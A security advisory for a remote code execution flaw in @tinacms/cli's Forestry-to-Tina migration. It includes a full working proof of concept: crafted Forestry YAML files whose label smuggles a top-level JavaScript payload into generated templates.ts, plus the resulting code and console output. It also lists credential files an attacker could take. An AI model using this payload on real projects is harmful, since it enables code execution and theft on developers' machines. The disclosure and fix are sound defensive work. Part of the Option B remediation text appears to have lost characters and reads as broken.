VDB
KO
HIGH 7.8

GHSA-4936-9hrh-qqpw

@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels

Details

## Description

### Summary

`@tinacms/cli` contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper `addVariablesToCode` unquotes any value matching the marker `"__TINA_INTERNAL__:::(.*?):::"` inside the stringified collection JSON. User-supplied `label` and `name` fields from `.forestry/**/*.yml` are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated `tina/templates.{ts,js}` file. The injected code is written at module top level, so it executes **the moment the developer runs `tinacms dev` or `tinacms build`**, with the developer's privileges.

### Details

**Vulnerable code path:**

1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts` — `transformForestryFieldsToTinaFields()` writes `forestryField.label` (and `.name`) straight into TinaField objects (no sanitisation). 2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`, lines 16-22 — the regex-based unquoter:

```ts export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; }; ```

3. `codeTransformer.ts` lines 80-88 — the field array is `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because `JSON.stringify` does **not** escape single quotes or backticks, an attacker who avoids `"` in the payload survives the JSON pass intact. 4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the resulting string is written to `tina/templates.{ts,js}` and imported by the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.

**Why it executes immediately:** the regex unquoting allows the attacker's payload to *close the surrounding object/array and the enclosing `xxxFields()` function*, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant `tina/config.ts` imports `./templates`.

### PoC

End-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from commit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24 (behaviour is identical on Node 22).

**Step 1 — attacker prepares a malicious Forestry project**

`.forestry/settings.yml`

```yaml --- new_page_extension: md auto_deploy: false admin_path: '' webhook_url: '' sections: - type: directory path: content/posts label: Posts create: all match: "**/*.md" templates: - rce ```

`.forestry/front_matter/templates/rce.yml`

```yaml --- label: rce_template fields: - name: title type: text label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::" ```

> **Note on payload encoding.** The original disclosure draft used double > quotes inside the payload (`console.log("RCE")`). `JSON.stringify` escapes > those to `\"`, which makes the generated TypeScript syntactically invalid > and is rejected by Prettier before the file is written. Using single > quotes or backticks for the inner string literals is required for the > exploit to succeed.

**Step 2 — victim runs the standard onboarding flow**

```bash git clone <attacker repo> cd <attacker repo> npx tinacms init # accepts the "migrate Forestry templates?" prompt npx tinacms dev # OR: npx tinacms build ```

**Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)**

```ts import type { TinaField } from "tinacms"; export function rce_templateFields() { return [{ type: "string", name: "title", label: 1 }]; } (function () { // <-- TOP-LEVEL IIFE const fs = require("fs"); const os = require("os"); fs.writeFileSync( require("path").join(os.tmpdir(), "PWNED_PROOF.txt"), "RCE triggered on " + os.hostname() + " at " + new Date().toISOString() ); console.log("=== RCE SUCCESSFUL ==="); })(); function _ignore_() { return [{ x: 1 }] as TinaField[]; } ```

**Step 4 — observed result**

``` $ npx tinacms dev --noTelemetry --no-server 🦙 TinaCMS Dev Server is initializing... === RCE SUCCESSFUL === Cannot read properties of undefined (reading 'publicFolder')

$ cat "$TEMP/PWNED_PROOF.txt" RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z ```

The `=== RCE SUCCESSFUL ===` line is printed **before** the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation.

### Impact

* **Class:** Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build). * **Attack vector:** Any developer who runs `tinacms init` on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs `tinacms dev` or `tinacms build`. * **Privileges obtained:** Full execution under the developer's user account. Practical consequences include: * Exfiltration of environment variables, `.env` files, SSH keys, `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`. * Source-code modification (planting backdoors before the developer's next commit / publish). * Supply-chain abuse via the developer's `npm publish` and `git push` credentials. * Persistence via shell rc files or scheduled tasks. * **Authentication:** None required from the attacker. * **User interaction:** Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes".

## Suggested Remediation

Either fix is sufficient; **Option B is preferred** because it is structurally impossible to bypass and does not silently drop user content.

### Option A — sanitise user-controlled strings (the disclosure draft's proposal)

```ts // packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts const sanitizeString = (str: unknown): unknown => typeof str === 'string' ? str.replace(/__TINA_INTERNAL__:::/g, '') : str; ```

Apply to **every** user-controlled string that flows into a TinaField object — at minimum `forestryField.label`, `forestryField.name`, `forestryField.template`, `forestryField.config.options[*]`, `forestryField.config.source.section`, and the equivalents on nested `fields`/`template_types` recursive paths.

### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data

```ts // codeTransformer.ts const MARKER_OPEN = '__TINA_INTERNAL__'; const MARKER_CLOSE = '/__TINA_INTERNAL__';

export const addVariablesToCode = (s: string) => ({ code: s.replace( new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'), '$1' ), }); ```

`JSON.stringify` escapes `` to the six-character sequence ``, so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (`makeFieldsWithInternalCode`) keep emitting real `` bytes, so the legitimate flow continues to work and no user content is silently mutated.

### Defence-in-depth

Regardless of which option ships, the migration code should also:

* Reject `forestryField.label` / `.name` that contain newlines or NUL bytes (Forestry never produced them). * Wrap the eventual `prettier.format(...)` call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way).

---

## Credit

Reported by **AnGrY-Althaf** (`angry.althaf@gmail.com`).

End-to-end PoC executed locally against `tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f` of `https://github.com/tinacms/tinacms`.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / @tinacms/cli
Introduced in: 0 Fixed in: 2.4.3
Fix npm install @tinacms/cli@2.4.3

References